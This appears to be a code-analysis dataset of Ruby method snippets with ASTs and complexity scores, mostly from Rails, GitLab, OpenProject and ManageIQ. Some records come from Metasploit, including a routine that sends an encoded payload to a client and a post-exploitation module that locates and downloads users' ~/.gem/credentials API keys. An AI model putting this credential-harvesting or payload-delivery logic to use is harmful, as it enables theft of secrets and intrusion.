{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/base.rb","start_line":307,"raw_source":"def wrap_with_namespace(content) # :doc:\n          content = indent(content).chomp\n          \"module #{namespace.name}\\n#{content}\\nend\\n\"\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap_with_namespace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"indent\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},\"chomp\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"module \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"\\nend\\n\"]}]}]}]}","id":"60ee61ed-cfa4-40f3-860a-2417fa04d29b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb","start_line":353,"raw_source":"def stage_real_payload(cli)\n    print_good(\"Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...\")\n    cli.put(payload.encoded + \"\\n\")\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stage_real_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending payload of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerport\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"e6dc7c55-a4e0-4f58-8bb2-389862a1b61a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/ref_service.rb","start_line":156,"raw_source":"def delete_refs(refs: [], except_with_prefixes: [])\n        request = Gitaly::DeleteRefsRequest.new(\n          repository: @gitaly_repo,\n          refs: refs.map { |r| encode_binary(r) },\n          except_with_prefix: except_with_prefixes.map { |r| encode_binary(r) }\n        )\n\n        response = gitaly_client_call(@repository.storage, :ref_service, :delete_refs, request, timeout: GitalyClient.medium_timeout)\n\n        raise Gitlab::Git::Repository::GitError, response.git_error if response.git_error.present?\n      rescue GRPC::BadStatus => e\n        detailed_error = GitalyClient.decode_detailed_error(e)\n\n        case detailed_error.try(:error)\n        when :invalid_format\n          raise Gitlab::Git::InvalidRefFormatError, \"references have an invalid format: #{detailed_error.invalid_format.refs.join(',')}\"\n        when :references_locked\n          raise Gitlab::Git::ReferencesLockedError\n        else\n          raise e\n        end\n      end","complexity_score":40.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_refs\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"refs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"except_with_prefixes\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"DeleteRefsRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except_with_prefix\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except_with_prefixes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"ref_service\"]},{\"type\":\"sym\",\"children\":[\"delete_refs\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"medium_timeout\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"git_error\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Repository\"]},\"GitError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"git_error\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GRPC\"]},\"BadStatus\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"detailed_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"decode_detailed_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detailed_error\"]},\"try\",{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"invalid_format\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"InvalidRefFormatError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"references have an invalid format: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detailed_error\"]},\"invalid_format\"]},\"refs\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"references_locked\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"ReferencesLockedError\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"2f829b0f-30e0-490c-8a30-954b9bfe0bde"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/char_diff.rb","start_line":14,"raw_source":"def generate_diff\n        @changes = diff_match_patch.diff_main(@old_string, @new_string)\n        diff_match_patch.diff_cleanupSemantic(@changes)\n\n        @changes\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_diff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@changes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_match_patch\"]},\"diff_main\",{\"type\":\"ivar\",\"children\":[\"@old_string\"]},{\"type\":\"ivar\",\"children\":[\"@new_string\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_match_patch\"]},\"diff_cleanupSemantic\",{\"type\":\"ivar\",\"children\":[\"@changes\"]}]},{\"type\":\"ivar\",\"children\":[\"@changes\"]}]}]}","id":"1bcb84db-7b50-448e-8422-4f998d929600"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/git_worktree.rb","start_line":360,"raw_source":"def merge(commit, rebase = false)\n    current_branch = @repo.ref(local_ref)\n    merge_index = @repo.merge_commits(current_branch.target, commit) if current_branch\n    if merge_index && merge_index.conflicts?\n      result = differences_with_current(commit)\n      raise GitWorktreeException::GitConflicts, result\n    end\n    commit = rebase(commit, merge_index, current_branch.try(:target)) if rebase\n    @repo.reset(commit, :soft)\n  end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"merge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]},{\"type\":\"optarg\",\"children\":[\"rebase\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_branch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo\"]},\"ref\",{\"type\":\"send\",\"children\":[null,\"local_ref\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_branch\"]},{\"type\":\"lvasgn\",\"children\":[\"merge_index\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo\"]},\"merge_commits\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_branch\"]},\"target\"]},{\"type\":\"lvar\",\"children\":[\"commit\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_index\"]},\"conflicts?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"differences_with_current\",{\"type\":\"lvar\",\"children\":[\"commit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitWorktreeException\"]},\"GitConflicts\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rebase\"]},{\"type\":\"lvasgn\",\"children\":[\"commit\",{\"type\":\"send\",\"children\":[null,\"rebase\",{\"type\":\"lvar\",\"children\":[\"commit\"]},{\"type\":\"lvar\",\"children\":[\"merge_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_branch\"]},\"try\",{\"type\":\"sym\",\"children\":[\"target\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo\"]},\"reset\",{\"type\":\"lvar\",\"children\":[\"commit\"]},{\"type\":\"sym\",\"children\":[\"soft\"]}]}]}]}","id":"c24b8699-170b-4b36-b778-72f16eb73a71"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/seed/build/cache.rb","start_line":93,"raw_source":"def last_commit_id_for_path(path)\n              @pipeline.project.repository.last_commit_id_for_path(@pipeline.sha, path)\n            end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"last_commit_id_for_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},\"project\"]},\"repository\"]},\"last_commit_id_for_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},\"sha\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}","id":"07400a39-0643-4102-9292-b5c0d0692c06"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ntlm/base.rb","start_line":249,"raw_source":"def [](name)\n      a = @alist.assoc(name.to_s.intern)\n      raise ArgumentError, \"no such field: #{name}\" unless a\n      a[1]\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@alist\"]},\"assoc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"intern\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"no such field: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"30fba873-4a94-4dae-8c4c-3f4c747b9cab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/rubygems_api_key.rb","start_line":34,"raw_source":"def run\n    print_status('Finding ~/.gem/credentials')\n    paths = enum_user_directories.map { |d| d + '/.gem/credentials' }\n    paths = paths.select { |f| file?(f) }\n\n    if paths.empty?\n      print_error('No users found with a ~/.gem/credentials file')\n      return\n    end\n\n    download_key(paths)\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Finding ~/.gem/credentials\"]}]},{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_user_directories\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"+\",{\"type\":\"str\",\"children\":[\"/.gem/credentials\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"lvar\",\"children\":[\"f\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No users found with a ~/.gem/credentials file\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"download_key\",{\"type\":\"lvar\",\"children\":[\"paths\"]}]}]}]}","id":"72f0d3f7-388b-4cc4-be83-330314c32386"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/terraform/state_version_type.rb","start_line":46,"raw_source":"def download_path\n        expose_path api_v4_projects_terraform_state_versions_path(\n          id: object.project_id,\n          name: object.terraform_state.name,\n          serial: object.version\n        )\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"download_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"expose_path\",{\"type\":\"send\",\"children\":[null,\"api_v4_projects_terraform_state_versions_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"terraform_state\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serial\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"version\"]}]}]}]}]}]}","id":"18c32600-fae5-4228-bb1f-f02df4fdbee6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/orchestration_template.rb","start_line":83,"raw_source":"def self.in_use\n    joins(:stacks).distinct\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"in_use\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"joins\",{\"type\":\"sym\",\"children\":[\"stacks\"]}]},\"distinct\"]}]}","id":"4edd1229-e470-4377-bd08-77e374acd03b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/homescreen/blocks_grid_component.rb","start_line":35,"raw_source":"def initialize(homescreen:)\n      super\n\n      @blocks = (homescreen[:blocks] || [])\n        .select { |block| block[:if].nil? || block[:if].call }\n        .filter_map { it[:name] }\n        .filter_map { \"homescreen/blocks/#{it}\".camelize.safe_constantize }\n    end","complexity_score":26.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"homescreen\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@blocks\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"homescreen\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"blocks\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"if\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"if\"]}]},\"call\"]}]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"homescreen/blocks/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]}]}]},\"camelize\"]},\"safe_constantize\"]}]}]}]}]}","id":"0639a63e-d1eb-46ea-a31f-52fe04367645"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/git_deduplication_service.rb","start_line":60,"raw_source":"def lease_key\n      \"git_deduplication:#{project.id}\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lease_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git_deduplication:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]}","id":"f7f93fd0-51ff-4e1f-814b-930aa3e2f1b3"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/menu_helper.rb","start_line":41,"raw_source":"def render_main_menu(menu, project = nil)\n    # Fall back to project_menu when project exists (not during project creation)\n    if menu.nil? && project && project.persisted?\n      menu = :project_menu\n    end\n\n    if !menu\n      # For some global pages such as home\n      nil\n    elsif menu == :project_menu && project && project.persisted?\n      build_wiki_menus(project)\n      render_menu(:project_menu, project)\n    else\n      render_menu(menu, project)\n    end\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render_main_menu\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu\"]},{\"type\":\"optarg\",\"children\":[\"project\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"persisted?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"menu\",{\"type\":\"sym\",\"children\":[\"project_menu\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"!\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"==\",{\"type\":\"sym\",\"children\":[\"project_menu\"]}]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"persisted?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_wiki_menus\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[null,\"render_menu\",{\"type\":\"sym\",\"children\":[\"project_menu\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_menu\",{\"type\":\"lvar\",\"children\":[\"menu\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}]}","id":"ecd80a39-a002-45c5-9329-9ee8bfa80e9b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/google_maps/records_storage_importer.rb","start_line":36,"raw_source":"def process_locations_in_batches(locations)\n    batch = []\n    index = 0\n\n    locations.each do |location|\n      batch << location\n\n      next unless batch.size >= BATCH_SIZE\n\n      process_batch(batch, index)\n      index += BATCH_SIZE\n      batch = []\n    end\n\n    # Process any remaining records that didn't make a full batch\n    process_batch(batch, index) unless batch.empty?\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"process_locations_in_batches\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locations\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"location\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"size\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"process_batch\",{\"type\":\"lvar\",\"children\":[\"batch\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"batch\",{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"process_batch\",{\"type\":\"lvar\",\"children\":[\"batch\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]}]}","id":"c521cb8e-9e67-4161-9b40-33a3e075130f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/outpost24_document.rb","start_line":230,"raw_source":"def report_vulns\n    block = @block\n    @report_data[:vulns].each do |v|\n      db.emit(:vuln, [\"#{v[:name]} (#{v[:host]})\", 1], &block) if block\n      db_report(:vuln, v)\n    end\n  end","complexity_score":14.28,"ast_json":"{\"type\":\"def\",\"children\":[\"report_vulns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"block\",{\"type\":\"ivar\",\"children\":[\"@block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vulns\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db\"]},\"emit\",{\"type\":\"sym\",\"children\":[\"vuln\"]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"db_report\",{\"type\":\"sym\",\"children\":[\"vuln\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]}]}","id":"dd2511f4-fdc1-4f2a-927c-412045dc0490"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/models/two_factor_authentication/device.rb","start_line":22,"raw_source":"def self.has_default?(user)\n      Device.exists?(user_id: user.id, active: true, default: true)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"has_default?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Device\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"e7cad942-d16c-4901-8392-55f40a405638"}
